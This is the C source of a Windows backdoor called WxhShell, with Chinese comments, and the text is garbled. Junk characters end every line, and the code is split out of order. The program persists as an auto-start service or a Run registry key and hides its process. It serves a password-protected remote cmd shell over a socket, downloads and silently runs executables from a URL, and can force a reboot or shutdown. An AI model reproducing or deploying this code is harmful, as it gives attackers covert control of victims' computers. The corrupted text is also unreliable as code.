    if(Boot(SHUTDOWN)) @ NDcO,]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h-Y>>l>PW0  
    else { Tv'1IE  
    closesocket(wsh); e8f 7*S8  
    ExitThread(0); /"="y'Wx  
    } %S"z9@  
    break; 075IW"p'  
    } esZhX)dS  
  // 获取shell 6bs-&Vf  
  case 's': { lIEZ=CEmY  
    CmdShell(wsh); l'[;q '  
    closesocket(wsh); cQLPgE0  
    ExitThread(0); ~pp< T  
    break; q&[G^9  
  } i[LnU#+  
  // 退出 ~M* UMF^  
  case 'x': { yuC$S&Y >!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6d8)]  
    CloseIt(wsh); G6{ PrV#  
    break; ?glx8@  
    } N:Q.6_%^  
  // 离开 0sSBwG  
  case 'q': { NUb$PT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bA 0H  
    closesocket(wsh); ORKJy )*"  
    WSACleanup(); 9$U>St  
    exit(1); .<%q9Jy#  
    break; ; Yc\O:Qq  
        } 6'mZM=d  
  } ~t2" L|i  
  } U) xeta+  
%!-t7K^mFq  
  // 提示信息 VJ'-"8tY&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &FRf-6/  
} }8l+Jd3"  
  } % +  
ueU"v'h\  
  return; f%_$RdU  
} Z%ZOAu&p  
)CoFRqz<h  
// shell模块句柄 um]N]cCD`  
int CmdShell(SOCKET sock) nTsV>lQY,  
{ .$d:c61X  
STARTUPINFO si; +KExK2=  
ZeroMemory(&si,sizeof(si)); 3,i`FqQa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >cjxu9Vr1K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m,hqq%qz  
PROCESS_INFORMATION ProcessInfo; (W"0c?i|]  
char cmdline[]="cmd"; `_/1zL[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _"D J|j  
  return 0; }Gb^%1%M  
} ()8=U_BFz  
NE`;=26c  
// 自身启动模式 tjV63`LD  
int StartFromService(void) v@2?X4n  
{ He4q-\ht  
typedef struct @o@SU"[?_  
{ SK/}bZ;f  
  DWORD ExitStatus; t3}_mJ  
  DWORD PebBaseAddress; #,lbM%a  
  DWORD AffinityMask; \QSD*  
  DWORD BasePriority; ~ cu+QR)  
  ULONG UniqueProcessId; c uAp,!  
  ULONG InheritedFromUniqueProcessId; K4NzI9@  
}   PROCESS_BASIC_INFORMATION; J+0 ?e9  
M{u7Ef  
PROCNTQSIP NtQueryInformationProcess;  `m_f i  
Yx. t+a-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #0*I|gfV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n|=yw6aV'  
b!SIs*  
  HANDLE             hProcess; "/^kFsvp  
  PROCESS_BASIC_INFORMATION pbi; j _E(h.  
gQ '=mU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %^I 7=  
  if(NULL == hInst ) return 0; #/`MYh=!W  
<;b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WpI5C,3Z!l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =&4eW#{LuH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c7?|Tipc  
'@hnqcqXq  
  if (!NtQueryInformationProcess) return 0; XxB%  
D 5Z7?Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B%[#["Ol  
  if(!hProcess) return 0; :^QV,d<C  
RKs_k`N0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; | ~D~#Nz  
aQ 6T2bQ  
  CloseHandle(hProcess); eBECY(QMQ  
1*@Q~f:Uk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MhFj>t   
if(hProcess==NULL) return 0; Q6X}R,KA1  
Si#XF[/  
HMODULE hMod; # zd}xla0]  
char procName[255]; rPW 9lG  
unsigned long cbNeeded; a5g1.6hF  
'_=XfTF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '(($dT  
8=sMmpB 7u  
  CloseHandle(hProcess); C%Op[H3  
<8Q?kj  
if(strstr(procName,"services")) return 1; // 以服务启动 N;,N6&veK/  
==7=1QfP  
  return 0; // 注册表启动 1\,wV,  
} 0jefV*3qpB  
f9E.X\"  
// 主模块 bzMs\rj\  
int StartWxhshell(LPSTR lpCmdLine) "l09Ae'V  
{ >\!>CuU  
  SOCKET wsl; }xzbg  
BOOL val=TRUE; ~hA;ji|I  
  int port=0; oakm{I|k}  
  struct sockaddr_in door; L@5g#mSl  
Zo(QU5m0  
  if(wscfg.ws_autoins) Install(); 7\;gd4Ua1  
?K?v64[  
port=atoi(lpCmdLine); flfE~_  
QW%BKF!  
if(port<=0) port=wscfg.ws_port; [@t 6,g  
3WdANR  
  WSADATA data; B7qiCX}pD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lT]dj9l  
Ed~2Qr\65  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D8_-Dvp7H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [W,maT M"  
  door.sin_family = AF_INET; +4p gPv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vt," 5c  
  door.sin_port = htons(port); I:#Es.  
O/Wc@Ln  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BcTV5Wcr  
closesocket(wsl); m&#a M8:\  
return 1; %g&i.2v  
} -@_V|C'?  
AJH-V 6  
  if(listen(wsl,2) == INVALID_SOCKET) { Ax+q/nvnb  
closesocket(wsl); SA$1rqU=  
return 1; .!J,9PE  
} E :Y *;  
  Wxhshell(wsl); 76*5/J-  
  WSACleanup(); ~v<,6BS<$Z  
[P_1a`b  
return 0; Z66@@?`  
S}*%l)vfR  
} @=[ SsS  
)TcW.d6  
// 以NT服务方式启动 $r=Ud >  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ` 5Qo*qx  
{ d6k`=Hlg  
DWORD   status = 0; 0Sz iTM  
  DWORD   specificError = 0xfffffff; G" Fd]'  
=#<TE~n2(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #zcnc$x\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [0e}%!%M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VXAgp6  
  serviceStatus.dwWin32ExitCode     = 0; zZ=.riK  
  serviceStatus.dwServiceSpecificExitCode = 0; _,4f z(  
  serviceStatus.dwCheckPoint       = 0; f[/E $r99J  
  serviceStatus.dwWaitHint       = 0; #_bSWV4  
uU]4)Hp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =p)Wxk  
  if (hServiceStatusHandle==0) return; pJ#R :#P  
|f0KIb}d  
status = GetLastError(); ^25[%aJI  
  if (status!=NO_ERROR) yVM 1W"Q  
{ 29#;;n}p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ewtoAru  
    serviceStatus.dwCheckPoint       = 0; @GG Pw9a  
    serviceStatus.dwWaitHint       = 0; ,Mwj`fgh  
    serviceStatus.dwWin32ExitCode     = status; $u9y H Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; <3>Ou(F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xCV3HnZ  
    return; =ITMAC\  
  } <zK9J?ZQW>  
,9f$a n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B/Lx,  
  serviceStatus.dwCheckPoint       = 0; _6 ~/`_(KP  
  serviceStatus.dwWaitHint       = 0; vxo iPqo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /*lSpsBn  
} &6E^<v?]  
Gu:aSb  
// 处理NT服务事件,比如:启动、停止 s3G3_&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q[y75 [  
{ (v^L2Po  
switch(fdwControl) BS#@ehdig  
{ f,Sybf/uHh  
case SERVICE_CONTROL_STOP: U:E:"  
  serviceStatus.dwWin32ExitCode = 0; 0%^m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4+`<'t]Q  
  serviceStatus.dwCheckPoint   = 0; +S:(cz80V  
  serviceStatus.dwWaitHint     = 0; SL/ FMYdd  
  { O(otI-Lc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #IP<4"Hf  
  } W<3nF5!  
  return; 3L4lk8Dd  
case SERVICE_CONTROL_PAUSE: #{l+I( M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?'h<yxu]u0  
  break; Nze#u;  
case SERVICE_CONTROL_CONTINUE: {q"l|Oe  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E#T-2^nD  
  break; ?zNv7Bj  
case SERVICE_CONTROL_INTERROGATE: (+9_nAgZ,  
  break; HQ+:0" B  
}; xS,#TU;)Ol  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GjA;o3(  
} @M"h_Z1#  
kG+CT  
// 标准应用程序主函数 c|Nv^V*2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d3(T=9;f2  
{ - iS\3P.  
u[^(s_  
// 获取操作系统版本 ?iUAzM8  
OsIsNt=GetOsVer(); 8KW}XG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L;'+O u  
ZSMOq4Y 9  
  // 从命令行安装 %u43Pj  
  if(strpbrk(lpCmdLine,"iI")) Install(); >"S'R9t  
`{/z\  
  // 下载执行文件 fdN-Zq@'  
if(wscfg.ws_downexe) { N@^?J@#V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z| +/Wl-h  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ne.W-,X^cL  
} }yU,_:  
/"Om-DK%  
if(!OsIsNt) { h8O[xca/~  
// 如果时win9x,隐藏进程并且设置为注册表启动 @B~/0 9  
HideProc(); LC\Ys\/,U  
StartWxhshell(lpCmdLine); | 9!3{3  
} <Dt,FWWkv'  
else s0.yPA  
  if(StartFromService()) Hi9;i/  
  // 以服务方式启动 |]]Xee]  
  StartServiceCtrlDispatcher(DispatchTable); Zi2NgVF  
else C 9,p-  
  // 普通方式启动  vu  YH+  
  StartWxhshell(lpCmdLine); u /cL[_Q  
^&DHBx"J  
return 0; %n9}P , ?  
} *#frbV?;  
`qSNS->  
U^~K-!0  
H4 & d,8:m  
=========================================== 4fZ$&)0&  
yc4mWB~gyU  
~|pVz/s|G  
}O@S ;[v S  
wr8n*Du  
%dS7u$Rnh  
" (ZjIwA9>  
?Gj$$IAe  
#include <stdio.h> 3b{8c8N^  
#include <string.h> &H,j .~a&l  
#include <windows.h> Hv<%_t_/  
#include <winsock2.h> l8%x(N4  
#include <winsvc.h> iH( K[F /  
#include <urlmon.h> W UdKj  
*6q8kQsz^1  
#pragma comment (lib, "Ws2_32.lib") \y: 0+s/  
#pragma comment (lib, "urlmon.lib") .F?yt5{5No  
`t:7&$>T  
#define MAX_USER   100 // 最大客户端连接数 T2} I,{U  
#define BUF_SOCK   200 // sock buffer <i~ ( 8F\  
#define KEY_BUFF   255 // 输入 buffer <h U ZD;  
1p23&\\~  
#define REBOOT     0   // 重启 Nj.(iBmr  
#define SHUTDOWN   1   // 关机 &m4 \"X@  
M,t8<y4 W/  
#define DEF_PORT   5000 // 监听端口 @"kA&=0;|J  
i,S%:0c7)  
#define REG_LEN     16   // 注册表键长度 |VlAt#E  
#define SVC_LEN     80   // NT服务名长度 o]}b#U8S  
pt(GpbtWK  
// 从dll定义API zV4%F"-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [t<^WmgtxL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #'^p-Jdm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IL}pVa00{n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /,/T{V[  
@o44b!i  
// wxhshell配置信息 r1-?mMSU&  
struct WSCFG { omECes)  
  int ws_port;         // 监听端口 /pFg<  
  char ws_passstr[REG_LEN]; // 口令 /!JpmI  
  int ws_autoins;       // 安装标记, 1=yes 0=no JQsS=m7Et  
  char ws_regname[REG_LEN]; // 注册表键名 o]MQ)\ r  
  char ws_svcname[REG_LEN]; // 服务名 }%y_Lc L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xh @H@Q\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?9v!UT&#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y*\ M7}](  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X&^t 8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \H<'W"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eOD;@4lR  
}9:\#  
}; }&rf'E9  
fbwo2qe@K  
// default Wxhshell configuration 6}x^ T)R  
struct WSCFG wscfg={DEF_PORT, `wB(J%w  
    "xuhuanlingzhe", sryujb.,  
    1, EiP_V&\  
    "Wxhshell", 5xLuuKG  
    "Wxhshell", _myam3[W  
            "WxhShell Service", !;'U5[}8  
    "Wrsky Windows CmdShell Service", EZIMp8^  
    "Please Input Your Password: ", jLD=EJ  
  1, d~S.PRg=  
  "http://www.wrsky.com/wxhshell.exe", - CT?JB  
  "Wxhshell.exe" RX=C)q2c  
    }; !F;W#Gc  
}N2T/U  
// 消息定义模块 nrwb6wj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0l.+yr}PE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -q(,}/Xf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @XDU !<N  
char *msg_ws_ext="\n\rExit."; ;TMH.E,h:  
char *msg_ws_end="\n\rQuit."; z6|P]u  
char *msg_ws_boot="\n\rReboot..."; E} Uy-  
char *msg_ws_poff="\n\rShutdown..."; }/(fe`7:  
char *msg_ws_down="\n\rSave to "; ?*4&Z.~J  
YqR MVWcnk  
char *msg_ws_err="\n\rErr!"; }3lM+]pf  
char *msg_ws_ok="\n\rOK!"; m {_\@'q  
vj[ .`fY  
char ExeFile[MAX_PATH]; 4eBM/i  
int nUser = 0; 'e7<&wm ia  
HANDLE handles[MAX_USER]; 8Th|'  
int OsIsNt; A37Z;/H~k  
3,oFT   
SERVICE_STATUS       serviceStatus; AJ^9[j}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pL.r 9T.  
S<88>|&n]  
// 函数声明 Nypa,_9}  
int Install(void); f*1.Vg0`-  
int Uninstall(void); 2ztP'  
int DownloadFile(char *sURL, SOCKET wsh); bzk@6jR1  
int Boot(int flag); -g;iMqh#  
void HideProc(void); -7'>Rw  
int GetOsVer(void); {{SQL)yJ  
int Wxhshell(SOCKET wsl); G0CmY43  
void TalkWithClient(void *cs); ,U],Wu)  
int CmdShell(SOCKET sock); PM7*@~.  
int StartFromService(void); tE3!;  
int StartWxhshell(LPSTR lpCmdLine); -AD3Pd|Y[  
;8|uY%ab  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]*%0CDY6`N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wcsUb 9(  
'Xxt[Jy  
// 数据结构和表定义 Ls5|4%+&  
SERVICE_TABLE_ENTRY DispatchTable[] = 3PpycJ}  
{ -zN*2T  
{wscfg.ws_svcname, NTServiceMain}, QI=",vma u  
{NULL, NULL} x}AWWmXv  
}; V. =!^0'A  
;[ pyKh  
// 自我安装 Rzj5B\+Rk(  
int Install(void) A$;U*7TJuO  
{ tP"C >#LO  
  char svExeFile[MAX_PATH]; $MfHA~^  
  HKEY key; db@i*Bf  
  strcpy(svExeFile,ExeFile); h.sH:]Z  
Pqo"~&Y|~  
// 如果是win9x系统,修改注册表设为自启动 c:>&Bg&,6T  
if(!OsIsNt) { u~bk~ 3.I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l yF~E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DN;g2 R`f  
  RegCloseKey(key); flR6^6E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qg'RD]a>R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~>k<I:BtrT  
  RegCloseKey(key); 9,`WQ+OI  
  return 0; %%G2w6 3M  
    } A%k@75V@  
  } l<(MC R*  
} 2%. A{!  
else { pu0IhDMn  
3-lJ]7OT  
// 如果是NT以上系统,安装为系统服务 S'9T>&<Kn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); //3iai  
if (schSCManager!=0) FU;Tv).  
{ wta\C{{  
  SC_HANDLE schService = CreateService ? Z.p.v  
  ( aVNRhnM  
  schSCManager, *q=pv8&*s  
  wscfg.ws_svcname, |k^'}n  
  wscfg.ws_svcdisp, =v:vc~G6  
  SERVICE_ALL_ACCESS, GXYmJ4wR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5T:e4U&  
  SERVICE_AUTO_START, HIk5Q'ek  
  SERVICE_ERROR_NORMAL, ymrmvuh  
  svExeFile, #:3ca] k  
  NULL, =A$5~op%  
  NULL, /v U$62KA  
  NULL, ]- ")r  
  NULL, !)?n n3  
  NULL !0zbWB9  
  ); E2Q;1Re@  
  if (schService!=0) mHM38T9C%  
  { b" 1a7   
  CloseServiceHandle(schService); FF0N{bY  
  CloseServiceHandle(schSCManager); 3yszf Wr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,5mK_iUw3  
  strcat(svExeFile,wscfg.ws_svcname); "n^h'// mn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &-:ZM0Fl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WUvrC  
  RegCloseKey(key); Mi%i_T^i  
  return 0; COH0aNp;  
    } A0m  
  } :"5i/Cx  
  CloseServiceHandle(schSCManager); n!2"pRIi  
} 3%bCv_6B  
} )M<"YI)g  
-+Axa[,5=  
return 1; 9y{[@KG  
} 9.{u2a\  
}%c2u/PQ  
// 自我卸载 zflq|dW  
int Uninstall(void) TD'RvTpl  
{ *T-+Pm-Cq  
  HKEY key; FIL?nkYEO  
(0/,R  
if(!OsIsNt) { LBq~?Q.e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DJVH}w}9_P  
  RegDeleteValue(key,wscfg.ws_regname); Nj$3Ig"l  
  RegCloseKey(key); qjFz}6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8UJK]_99I,  
  RegDeleteValue(key,wscfg.ws_regname); q_bE?j{  
  RegCloseKey(key); VUpa^R  
  return 0; eee77.@y-p  
  } cY8X A6  
} |`+kZ-M*  
} ]v(8i3P84  
else { 0x7F~%%2  
V(I!HT5.W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x$Y44v'>  
if (schSCManager!=0) t~U:Ea[gd  
{ sD H^l)4h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /2N'SOX  
  if (schService!=0) G0oY`WXOB  
  { 4wjy)VD_  
  if(DeleteService(schService)!=0) { )h6hN"#V5  
  CloseServiceHandle(schService); gHdNqOy c  
  CloseServiceHandle(schSCManager); UCG8=+t5T  
  return 0; '3TwrY?-  
  } H .*:+  
  CloseServiceHandle(schService); f!%G{G^`  
  } AFE6@/'  
  CloseServiceHandle(schSCManager); F0:|uC4  
} $\M<gW6  
}  J@sH(S  
6_]-&&Nr  
return 1; 4Vl_vTz{i  
} eG&\b-%  
d3-F?i 5d  
// 从指定url下载文件 *`2.WF@E)  
int DownloadFile(char *sURL, SOCKET wsh) =lT~  
{ HK&Ul=^VN|  
  HRESULT hr; .B?6  
char seps[]= "/"; 3 <}\{jT  
char *token; +Ysm6n '  
char *file; 5pSo`)  
char myURL[MAX_PATH]; -AnQZy  
char myFILE[MAX_PATH]; 2;Vss<hR4A  
uu ahR  
strcpy(myURL,sURL); jr[(g:L   
  token=strtok(myURL,seps); )[fjZG[  
  while(token!=NULL) 'NJGez'b ,  
  { j5Kw0Wy7  
    file=token; ZByxC*Cz  
  token=strtok(NULL,seps); Geyy!sr``  
  } B7 PkCS&X  
\|e>(h!l;  
GetCurrentDirectory(MAX_PATH,myFILE); wpgO09  
strcat(myFILE, "\\"); 1(%9)).K  
strcat(myFILE, file); p]h;M  
  send(wsh,myFILE,strlen(myFILE),0); i7$4i|  
send(wsh,"...",3,0); 9{[I|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TL&`Ywy  
  if(hr==S_OK) Vw-,G7v&E  
return 0; ,LI$=lJ@  
else Z|3 fhaT  
return 1; (-S<9u-r  
?tzJ7PJ~B  
} Y-2IAJHS8  
],`xd_=]=  
// 系统电源模块 7egE."  
int Boot(int flag) aa|u *afWQ  
{ UWU(6J|Fk  
  HANDLE hToken; q4u,pm,@  
  TOKEN_PRIVILEGES tkp; m=Mb'<  
(V&5EO8)  
  if(OsIsNt) { o>|&k]W/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g)?Ol  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D5Zgi!  
    tkp.PrivilegeCount = 1; yS#)F.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I0iTa99K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ga?:k,xv  
if(flag==REBOOT) { f( M$m,d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l5h+:^#M5c  
  return 0; X,5}i5'!  
} /x%h@Cn!  
else { %MG{KG=&o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E_q/*}]pE  
  return 0; L hp  
} V52>K$j  
  } u<L<o 2  
  else { k1lo{jw`  
if(flag==REBOOT) { SjosbdD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 26M:D&|ZB  
  return 0; Eep~3U  
} 0Q7teXRM  
else { m}UcF oaO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8F>u6Y[P  
  return 0; Clz. p  
} &9Y ^/W  
} kM6i{{Q  
-L-#-dK'  
return 1; 2[Ofa(mkkp  
} sKy3('5;  
<OH{7>V  
// win9x进程隐藏模块 WCTmf8f  
void HideProc(void) C/$bgK[ev  
{ n~"qbtp}  
O]4v\~@-j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?"F9~vx&G  
  if ( hKernel != NULL ) L@5sY0 M  
  { ?^whK<"]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V` T l$EF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LC1WVK/  
    FreeLibrary(hKernel); zqHG2:MN"  
  } OV G|WC  
^4b;rLfk@  
return; -9] ucmN  
} zq6)jHfq.  
9^L{)t>  
// 获取操作系统版本 lRk_<A  
int GetOsVer(void) mEm=SpO[$o  
{ t[e]AU[}  
  OSVERSIONINFO winfo; $u~*V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZZ>"LH  
  GetVersionEx(&winfo); {|d28!8w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^B_SAZ&%%  
  return 1; kYhV1I  
  else  )[S#:PP  
  return 0; r>e1IG  
} (*M*muk  
l k sNy  
// 客户端句柄模块 pG6?"*Fz;  
int Wxhshell(SOCKET wsl) k vpkWD;  
{ ZaBmH|k  
  SOCKET wsh; uTdx`>M,O  
  struct sockaddr_in client; GE8.{P  
  DWORD myID; u`.3\Geh  
4s e6+oJe  
  while(nUser<MAX_USER) E<ILZpP  
{ r6eZ-V`4  
  int nSize=sizeof(client); _1?nLx7n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XDYQV.Bv  
  if(wsh==INVALID_SOCKET) return 1; qfkd Q/fP  
2 \<u;9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PNo9.-@G  
if(handles[nUser]==0) \.aKxj5  
  closesocket(wsh); 4tEAi4H|`@  
else NXk~o!D  
  nUser++; F pT$D  
  } )Q 5 x%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dWx@<(`OC  
VA>0Y  
  return 0; p,V%wGM  
} k|czQ"vaI  
zcC:b4  
// 关闭 socket  Y(  
void CloseIt(SOCKET wsh) =P9Tc"2PN  
{ zs(P2$  
closesocket(wsh); o}&{Y2!x  
nUser--; m-qu<4A/U|  
ExitThread(0); d8uDSy  
} ]K3bDU~  
.kU}x3m  
// 客户端请求句柄 U(PW$\l  
void TalkWithClient(void *cs) oTRid G  
{ A0>r]<y  
i&1rf|  
  SOCKET wsh=(SOCKET)cs; Gshy$'_e  
  char pwd[SVC_LEN]; EJP]E)  
  char cmd[KEY_BUFF]; '6kD6o_p1  
char chr[1]; Rt5,/Q0  
int i,j; i)]f0F  
P(s:+  
  while (nUser < MAX_USER) { [dR#!"6t  
y^e3Gyk  
if(wscfg.ws_passstr) { ]%ewxF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  @M OaXe  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0~z`>#W,  
  //ZeroMemory(pwd,KEY_BUFF); d-C%R9  
      i=0; ;[79Ewd#$  
  while(i<SVC_LEN) { -dWg1`;  
diNAT`|?#  
  // 设置超时 .p]r S =#  
  fd_set FdRead; Dpwqg3,  
  struct timeval TimeOut; #K`0b$  
  FD_ZERO(&FdRead); fLpWTkr0  
  FD_SET(wsh,&FdRead); F @<h:VVP  
  TimeOut.tv_sec=8; Q_Br{ `c  
  TimeOut.tv_usec=0; M KX+'p\w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LzJ`@0RrX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s q;!5qK  
S[gACEZ =  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3~Lsa"/  
  pwd=chr[0]; c5|sda{  
  if(chr[0]==0xd || chr[0]==0xa) { |g >Q3E  
  pwd=0; ) "?eug}D  
  break; aM xd"cTzx  
  } ?K;l 5$?%  
  i++; jU kxA7 }}  
    } f~*7hv\  
`dD_"Hdt  
  // 如果是非法用户,关闭 socket -uu&{$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FW5v 1s=  
} D^2lb"3  
@}19:A<'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \>>P%EU,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -$kIVh  
b\KbF/ T  
while(1) { FrUqfTi+W  
m?; ?I]`  
  ZeroMemory(cmd,KEY_BUFF); ]kXW eY<  
Vhh=GJ  
      // 自动支持客户端 telnet标准   ?:M4GY" gV  
  j=0; SSxz1y  
  while(j<KEY_BUFF) { yoJ.[M4q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @e&0Wk  
  cmd[j]=chr[0]; j>e RV ol  
  if(chr[0]==0xa || chr[0]==0xd) { kMK0|+  
  cmd[j]=0; NjT*5 .  
  break; )#8g<]q  
  } g~b$WV%  
  j++; @ZjO#%Ep/  
    } Z:<an+v|5  
-)B_o#2=2  
  // 下载文件 gwsIzYV  
  if(strstr(cmd,"http://")) { PqL. ^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jVLJ qWP'!  
  if(DownloadFile(cmd,wsh)) Xz)qtDN|(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w[\rS`J  
  else #Q)r6V:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |:&O!36  
  } mhX66R  
